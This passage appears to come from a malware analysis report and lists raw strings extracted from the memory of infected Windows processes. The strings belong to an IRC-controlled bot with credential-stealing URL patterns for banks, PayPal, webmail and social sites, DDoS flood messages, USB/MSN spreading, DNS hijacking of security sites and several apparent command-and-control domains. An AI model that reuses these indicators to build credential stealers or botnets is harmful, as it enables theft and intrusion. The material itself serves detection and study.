cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>\??\%System%\winlogon.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\winlogon.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>services.exe_756_rwx_00B60000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%System%\services.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\system32\services.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>Explorer.EXE_888_rwx_01EA0000_00027000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>PSSSSSSh</pre><pre>PSSVSSh</pre><pre>RPVSSh</pre><pre>PSSh(</pre><pre>PSSh#</pre><pre>PSSh'</pre><pre>PSSh&</pre><pre>PSSh*</pre><pre>9p.uV</pre><b>Explorer.EXE_888_rwx_01EC8000_00074000:</b><pre>Opera/9.00 (Windows NT 5.1; U; en)</pre><pre>Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)</pre><pre>Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0)</pre><pre>Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)</pre><pre>Opera 9.4 (Windows NT 6.1; U; en)</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)</pre><pre>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; NeosBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)</pre><pre>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.2</pre><pre>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8</pre><pre>Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11</pre><pre>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)</pre><pre>Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50726)</pre><pre>SbieDll.dll</pre><pre>Software\Classes\CLSID\%s\X</pre><pre>Software\Classes\CLSID\%s\X\%s</pre><pre>0xX</pre><pre>SB:0xX</pre><pre>G:%s_0xX_%c:%s_v1$</pre><pre>Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u</pre><pre>IEXPLORE.EXE</pre><pre>IE.HTTP</pre><pre>SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice</pre><pre>IE.HTTPS</pre><pre>SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice</pre><pre>IE.AssocFile.HTM</pre><pre>HTTP\shell\open\command</pre><pre>Software\Microsoft\Windows\CurrentVersion\Ext\Settings\%s</pre><pre>Psapi.dll</pre><pre>%s\%s</pre><pre>Software\Adobe\Acrobat Reader\%s\Privileged</pre><pre>mscoree.dll</pre><pre>HARDWARE\DESCRIPTION\System\CentralProcessor\%u</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion</pre><pre>nspr4.dll</pre><pre>nss3.dll</pre><pre>Urlmon.dll</pre><pre>URLDownloadToFileW</pre><pre>Netapi32.dll</pre><pre>76487-640-1457236-23837</pre><pre>76487-337-8429955-22614</pre><pre>76487-644-3177037-23510</pre><pre>76497-640-6308873-23835</pre><pre>55274-640-2673064-23950</pre><pre>76487-640-8834005-23195</pre><pre>76487-640-0716662-23535</pre><pre>76487-644-8648466-23106</pre><pre>00426-293-8170032-85146</pre><pre>76487-341-5883812-22420</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsBackup</pre><pre>{8E5E2654-AD2D-48BF-AC2D-D17F00898D06}</pre><pre>snxhk.dll</pre><pre>comctl32.dll</pre><pre>ZwSetValueKey</pre><pre>ZwDeleteValueKey</pre><pre>SOFTWARE\%s</pre><pre>update.microsoft.com</pre><pre>microsoft.com</pre><pre>windowsupdate.microsoft.com</pre><pre>JOIN</pre><pre>PRIVMSG</pre><pre>.rdata</pre><pre>cmd_option.%s</pre><pre>/c %s</pre><pre>cmd.exe</pre><pre>msvcrt.dll</pre><pre>--x-x-x-xx</pre><pre>Content-Type: multipart/form-data; boundary=x-x-x-xx</pre><pre>Content-Disposition: multipart/form-data; name="newfile"; filename="%d.jpeg"</pre><pre>%s?action=up&g=%s</pre><pre>xul.dll</pre><pre><Port></Port></pre><pre><Pass></Pass></pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>HTTP/1.1</pre><pre>?pid=%d</pre><pre>?page=%d</pre><pre>?id=%u</pre><pre>%s=%u&%s=%s</pre><pre>%s=%s&%s=%u</pre><pre>&%s=%s</pre><pre>&%s%u=</pre><pre>&%s%hu=</pre><pre>&%s=_%u</pre><pre>%d|%s|%s|%s</pre><pre>.info</pre><pre>httpget</pre><pre>GET /%s HTTP/1.1</pre><pre>Host: %s</pre><pre>Content-Length: %d</pre><pre>Accept: %s</pre><pre>Accept-Language: %s</pre><pre>Accept-Charset: %s</pre><pre>Accept-Encoding: %s</pre><pre>User-Agent: %s</pre><pre>Referer: %s</pre><pre>Connection: %s</pre><pre>http://</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>tbb-firefox.exe</pre><pre>%s:%hu</pre><pre>windowsupdate</pre><pre>SSH2_MSG_KEXINIT</pre><pre>SSH2_MSG_DISCONNECT</pre><pre>SSH2_MSG_USERAUTH_SUCCESS</pre><pre>http://%s%s/image.php?id=%s</pre><pre>TaskDialogIndirect</pre><pre>http://answers.microsoft.com/en-us/windows/forum/windows_vista-windows_programs/corrupted-documents-folder/e2a7660f-8eea-4f27-b2e6-e77a0f0c1535</pre><pre>ÐxX</pre><pre>ntdll.dll</pre><pre>kernel32.dll</pre><pre>secur32.dll</pre><pre>crypt32.dll</pre><pre>user32.dll</pre><pre>advapi32.dll</pre><pre>wininet.dll</pre><pre>shell32.dll</pre><pre>shlwapi.dll</pre><pre>ole32.dll</pre><pre>version.dll</pre><pre>sfc.dll</pre><pre>dnsapi.dll</pre><pre>ws2_32.dll</pre><pre><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></pre><pre><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></pre><pre>8"808]9|9</pre><pre>9%9 919<9</pre><pre>=(=/=6==={=</pre><pre>4 4?4^4}4</pre><pre>6o6g6r6w6</pre><pre>9 9$9(90949</pre><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>SSh\LA</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>Invalid parameter passed to C runtime function.</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>GetKeyNameTextW</pre><pre>ExitWindowsEx</pre><pre>GetAsyncKeyState</pre><pre>USER32.dll</pre><pre>GDI32.dll</pre><pre>SHLWAPI.dll</pre><pre>GetProcessHeap</pre><pre>GetCPInfo</pre><pre>KERNEL32.dll</pre><pre>zcÁ</pre><pre>RvKS.iu</pre><pre>z=~{%U</pre><pre>'t9P^%Um</pre><pre>ur$%C</pre><pre>Jn~{%d</pre><pre>4 ^%6SH></pre><pre>.IrZ<</pre><pre>b43m.kx</pre><pre>.fps~</pre><pre>2(8=.gCW</pre><pre>Á1Lj</pre><pre>.yNH></pre><pre>Software\Classes\CLSID\%S</pre><pre>G:%S_0xX</pre><pre>chrome.exe</pre><pre>opera.exe</pre><pre>safari.exe</pre><pre>maxthon.exe</pre><pre>:Mozilla\Firefox\Profiles</pre><pre>cookies.sqlite</pre><pre>%s\winsxs\x86_microsoft.windows.common-controls_*6.0.*_*</pre><pre>%s\winsxs\%s\comctl32.dll</pre><pre>SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\%s</pre><pre>%s:*:Enabled</pre><pre>avcuf32.dll</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><pre>prstrui.exe</pre><pre>Windows Defender</pre><pre>MpClient.dll</pre><pre>Windows 